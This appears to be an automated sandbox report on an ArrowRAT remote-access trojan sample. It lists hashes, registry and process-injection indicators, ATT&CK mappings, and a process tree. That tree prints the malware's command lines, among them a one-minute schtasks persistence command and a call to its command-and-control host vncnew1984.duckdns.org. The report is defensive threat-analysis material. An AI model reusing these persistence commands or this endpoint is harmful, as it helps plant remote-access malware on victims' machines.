Analysis
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max time kernel
138s -
max time network
148s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
25-09-2024 01:29
Static task
static1
Behavioral task
behavioral1
Sample
a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe
Resource
win10v2004-20240802-en
General
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Target
a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe
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Size
732KB
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MD5
ab0d49fdafb94d853b64632422636c97
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SHA1
114878c7437c44b9d33085f3f75ca16f4e3aa9dc
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SHA256
a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b
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SHA512
d358354275e32cdb8526687f9e27ef3d419d5ed2449d22f1b9230dbce92aed8bade6d2b5d45b3504336b76a8718af782c9ef78e42b3a0fb8a5428e41a99a529a
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SSDEEP
12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi
Malware Config
Extracted
arrowrat
Client
vncnew1984.duckdns.org:1984
ecZCILAfG
Signatures
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Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
Processes:
explorer.exedescription ioc Process Key created \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Executes dropped EXE 2 IoCs
Processes:
kio.exekio.exepid Process 1984 kio.exe 2296 kio.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exeRegAsm.exekio.exeRegAsm.exedescription pid Process procid_target PID 2536 set thread context of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2908 set thread context of 1728 2908 RegAsm.exe 33 PID 1984 set thread context of 2024 1984 kio.exe 46 PID 2024 set thread context of 592 2024 RegAsm.exe 49 -
System Location Discovery: System Language Discovery 1 TTPs 15 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
kio.execmd.exea0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exeRegAsm.execmd.exeschtasks.exekio.execmd.execvtres.execmd.execmd.exeRegAsm.execvtres.execmd.exeschtasks.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language kio.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language kio.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe -
Processes:
explorer.exedescription ioc Process Key created \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Toolbar explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" explorer.exe -
Modifies registry class 5 IoCs
Processes:
explorer.exedescription ioc Process Key created \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid Process 1644 schtasks.exe 2696 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
RegAsm.exeRegAsm.exepid Process 2908 RegAsm.exe 2908 RegAsm.exe 2024 RegAsm.exe 2024 RegAsm.exe 2024 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 16 IoCs
Processes:
a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exeRegAsm.exeexplorer.exekio.exeRegAsm.exekio.exedescription pid Process Token: SeDebugPrivilege 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe Token: SeDebugPrivilege 2908 RegAsm.exe Token: SeShutdownPrivilege 2708 explorer.exe Token: SeShutdownPrivilege 2708 explorer.exe Token: SeShutdownPrivilege 2708 explorer.exe Token: SeShutdownPrivilege 2708 explorer.exe Token: SeShutdownPrivilege 2708 explorer.exe Token: SeShutdownPrivilege 2708 explorer.exe Token: SeShutdownPrivilege 2708 explorer.exe Token: SeShutdownPrivilege 2708 explorer.exe Token: SeShutdownPrivilege 2708 explorer.exe Token: SeShutdownPrivilege 2708 explorer.exe Token: SeDebugPrivilege 1984 kio.exe Token: SeShutdownPrivilege 2708 explorer.exe Token: SeDebugPrivilege 2024 RegAsm.exe Token: SeDebugPrivilege 2296 kio.exe -
Suspicious use of FindShellTrayWindow 28 IoCs
Processes:
explorer.exepid Process 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe -
Suspicious use of SendNotifyMessage 19 IoCs
Processes:
explorer.exepid Process 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe 2708 explorer.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
RegAsm.exeRegAsm.exepid Process 2908 RegAsm.exe 2024 RegAsm.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exeRegAsm.exeexplorer.execmd.exetaskeng.exekio.exeRegAsm.exedescription pid Process procid_target PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2536 wrote to memory of 2908 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 31 PID 2908 wrote to memory of 2708 2908 RegAsm.exe 32 PID 2908 wrote to memory of 2708 2908 RegAsm.exe 32 PID 2908 wrote to memory of 2708 2908 RegAsm.exe 32 PID 2908 wrote to memory of 2708 2908 RegAsm.exe 32 PID 2908 wrote to memory of 1728 2908 RegAsm.exe 33 PID 2908 wrote to memory of 1728 2908 RegAsm.exe 33 PID 2908 wrote to memory of 1728 2908 RegAsm.exe 33 PID 2908 wrote to memory of 1728 2908 RegAsm.exe 33 PID 2908 wrote to memory of 1728 2908 RegAsm.exe 33 PID 2908 wrote to memory of 1728 2908 RegAsm.exe 33 PID 2908 wrote to memory of 1728 2908 RegAsm.exe 33 PID 2908 wrote to memory of 1728 2908 RegAsm.exe 33 PID 2908 wrote to memory of 1728 2908 RegAsm.exe 33 PID 2536 wrote to memory of 2568 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 36 PID 2536 wrote to memory of 2568 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 36 PID 2536 wrote to memory of 2568 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 36 PID 2536 wrote to memory of 2568 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 36 PID 2536 wrote to memory of 1556 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 37 PID 2536 wrote to memory of 1556 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 37 PID 2536 wrote to memory of 1556 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 37 PID 2536 wrote to memory of 1556 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 37 PID 2536 wrote to memory of 2388 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 39 PID 2536 wrote to memory of 2388 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 39 PID 2536 wrote to memory of 2388 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 39 PID 2536 wrote to memory of 2388 2536 a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe 39 PID 2708 wrote to memory of 2040 2708 explorer.exe 42 PID 2708 wrote to memory of 2040 2708 explorer.exe 42 PID 2708 wrote to memory of 2040 2708 explorer.exe 42 PID 1556 wrote to memory of 1644 1556 cmd.exe 43 PID 1556 wrote to memory of 1644 1556 cmd.exe 43 PID 1556 wrote to memory of 1644 1556 cmd.exe 43 PID 1556 wrote to memory of 1644 1556 cmd.exe 43 PID 1180 wrote to memory of 1984 1180 taskeng.exe 45 PID 1180 wrote to memory of 1984 1180 taskeng.exe 45 PID 1180 wrote to memory of 1984 1180 taskeng.exe 45 PID 1180 wrote to memory of 1984 1180 taskeng.exe 45 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 1984 wrote to memory of 2024 1984 kio.exe 46 PID 2024 wrote to memory of 2108 2024 RegAsm.exe 48 PID 2024 wrote to memory of 2108 2024 RegAsm.exe 48 PID 2024 wrote to memory of 2108 2024 RegAsm.exe 48 PID 2024 wrote to memory of 2108 2024 RegAsm.exe 48 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe"C:\Users\Admin\AppData\Local\Temp\a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2536 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"3⤵
- Boot or Logon Autostart Execution: Active Setup
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\system32\ctfmon.exectfmon.exe4⤵PID:2040
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG3⤵
- System Location Discovery: System Language Discovery
PID:1728
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C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"2⤵
- System Location Discovery: System Language Discovery
PID:2568
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C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1644
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C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"2⤵
- System Location Discovery: System Language Discovery
PID:2388
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C:\Windows\system32\taskeng.exetaskeng.exe {EFE2BBC7-E9CB-40B6-9727-F5AB819B2D5B} S-1-5-21-2872745919-2748461613-2989606286-1000:CCJBVTGQ\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Users\Admin\AppData\Roaming\kio\kio.exeC:\Users\Admin\AppData\Roaming\kio\kio.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"4⤵PID:2108
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG4⤵
- System Location Discovery: System Language Discovery
PID:592
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C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"3⤵
- System Location Discovery: System Language Discovery
PID:1492
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C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f3⤵
- System Location Discovery: System Language Discovery
PID:2328 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2696
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C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Admin\AppData\Roaming\kio\kio.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"3⤵
- System Location Discovery: System Language Discovery
PID:1932
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C:\Users\Admin\AppData\Roaming\kio\kio.exeC:\Users\Admin\AppData\Roaming\kio\kio.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2296
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
46KB
MD502d2c46697e3714e49f46b680b9a6b83
SHA184f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA51260348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac
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Filesize
732KB
MD5ab0d49fdafb94d853b64632422636c97
SHA1114878c7437c44b9d33085f3f75ca16f4e3aa9dc
SHA256a0ecd7e8709a733b5c07e102a850e5e626f04e997e5a125632df80a85944b58b
SHA512d358354275e32cdb8526687f9e27ef3d419d5ed2449d22f1b9230dbce92aed8bade6d2b5d45b3504336b76a8718af782c9ef78e42b3a0fb8a5428e41a99a529a